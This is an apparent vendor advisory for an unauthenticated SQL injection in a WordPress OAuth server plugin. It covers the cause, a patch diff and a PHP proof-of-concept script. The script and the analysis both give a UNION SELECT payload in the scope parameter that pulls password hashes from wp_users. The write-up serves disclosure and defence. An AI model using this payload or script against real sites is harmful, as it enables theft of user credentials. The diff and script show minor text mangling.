Published : August 9, 2026

CVE-2026-65520: WP OAuth Server ( Login with WordPress ) <= 6.2.0 Unauthenticated SQL Injection PoC, Patch Analysis & Rule

Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 6.2.0
Patched Version 6.2.1
Disclosed July 27, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-65520: This is an unauthenticated SQL injection vulnerability in the WP OAuth Server (Login with WordPress) plugin, affecting versions up to and including 6.2.0. The flaw resides in the MoPdo class’s scope validation method, allowing an attacker to inject malicious SQL queries into a database query. With a CVSS score of 7.5, this vulnerability has a high severity rating due to its potential for sensitive information disclosure.

The root cause is a lack of input sanitization and query preparation in the `checkScope` method located in `miniorange-oauth-20-server/vendor/bshaffer/oauth2-server-php/src/OAuth2/Storage/MoPdo.php`. The vulnerable code path begins around line 510, where the `$scope` string is split into an array using `explode(‘ ‘, $scope)`. The array elements are then directly concatenated into the `$where_in` string, which is embedded into an SQL query. Critically, these values are not escaped or parameterized, allowing an attacker to inject arbitrary SQL commands. The query is then executed via `$wpdb->get_row()`, which does not provide any additional protection by default.

Exploitation occurs through the OAuth Server’s token endpoint, which is accessible via `POST /wp-json/moserver/authorize` or the standard `oauth/token` endpoint. The attacker sets the `scope` parameter in the request body to a malicious payload. For example, a payload such as `scope=openid ‘ UNION SELECT user_pass FROM wp_users– -` would append a UNION SELECT query to the original SELECT statement, extracting the password hashes from the `wp_users` table. The injected SQL modifies the query logic to return data, which can then be used to compromise user accounts.

The patch resolves the vulnerability by replacing the manual string concatenation with `$wpdb->prepare()` and table prefix. The diff shows a shift from a direct SQL string built with the `$where_in` variable to the use of placeholders (`%s`) and a prepared statement. This ensures that all values within the scope array are properly escaped and treated as data, not code. The fixed code is safe from SQL injection attacks as it prevents attacker-controlled input from altering the query structure.

Successful exploitation of this vulnerability allows an unauthenticated attacker to read arbitrary data from the WordPress database. This includes sensitive information such as user credentials (password hashes), API keys, and other confidential data. An attacker could exfiltrate this data to perform account takeover, privilege escalation, or further attacks against the site and its users. The impact is directly proportional to the data stored in the database, making this a critical security risk for affected WordPress installations.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/miniorange-oauth-20-server/mo_oauth_settings.php
+++ b/miniorange-oauth-20-server/mo_oauth_settings.php
@@ -15,7 +15,7 @@
  * Plugin Name:       miniOrange OAuth 2.0 Server/Provider
  * Plugin URI:        https://www.miniorange.com
  * Description:       Setup your site as Identity Server to allow Login with WordPress or WordPress Login to other client application /site using OAuth / OpenID Connect protocols.
- * Version:           6.2.0
+ * Version:           6.2.1
  * Requires at least: 4.8
  * Requires PHP:      5.6
  * Author:            miniOrange
@@ -36,7 +36,7 @@
  * Start at version 1.0.0 and use SemVer - https://semver.org
  * Rename this for your plugin and update it as you release new versions.
  */
-define( 'MINIORANGE_OAUTH_20_SERVER_VERSION', '6.2.0' );
+define( 'MINIORANGE_OAUTH_20_SERVER_VERSION', '6.2.1' );
 define( 'MOSERVER_BASENAME', plugin_basename( __FILE__ ));
 define( 'MINIORANGE_OAUTH_20_SERVER_PLUGIN_DIR_URL', plugin_dir_url( __FILE__ ) );
 define( 'MINIORANGE_OAUTH_20_SERVER_PLUGIN_DIR_PATH', plugin_dir_path( __FILE__ ) );
--- a/miniorange-oauth-20-server/vendor/bshaffer/oauth2-server-php/src/OAuth2/Storage/MoPdo.php
+++ b/miniorange-oauth-20-server/vendor/bshaffer/oauth2-server-php/src/OAuth2/Storage/MoPdo.php
@@ -510,12 +510,15 @@
 		if ( empty( $scope ) ) {
 			return false;
 		}
-		$scope    = explode( ' ', $scope );
-		$where_in = implode( ',', $scope );
-		$where_in = str_replace( ',', '','', $where_in );
+		$scope = explode( ' ', $scope );

 		global $wpdb;
-		$result = $wpdb->get_row( 'SELECT count(scope) as count  FROM ' . $wpdb->base_prefix . "moos_oauth_scopes where scope IN ('" . $where_in . "');", ARRAY_A );
+		$placeholders = implode( ',', array_fill( 0, count( $scope ), '%s' ) );
+		$sql          = $wpdb->prepare(
+			"SELECT count(scope) as count FROM {$wpdb->base_prefix}moos_oauth_scopes WHERE scope IN ($placeholders)",
+			$scope
+		);
+		$result = $wpdb->get_row( $sql, ARRAY_A );

 		if ( $result ) {
 			return $result['count'] == count( $scope );

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-65520 - WP OAuth Server ( Login with WordPress ) <= 6.2.0 - Unauthenticated SQL Injection

// Define target URL
$target_url = 'http://your-wordpress-site.com/wp-json/moserver/authorize';

// Malicious scope payload: inject a UNION SELECT to extract password hashes from wp_users
// Assuming a common table prefix 'wp_' ; if not, adjust the SELECT statement accordingly
$payload = "openid ' UNION SELECT user_pass FROM wp_users-- -";

// Initialize cURL session
$ch = curl_init();

// Set cURL options
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('scope' => $payload)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));

// Execute the request and get the response
$response = curl_exec($ch);

// Check for errors
if (curl_errno($ch)) {
    echo 'cURL error: ' . curl_error($ch);
} else {
    echo "Response from target:n" . $response . "n";
}

// Close cURL session
curl_close($ch);

// The response will contain the extracted password hashes if the SQL injection was successful.
// The result is typically embedded in the 'count' field of the SQL response, or in the JSON structure.
// An attacker can then crack these hashes or use them in conjunction with other attack vectors.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.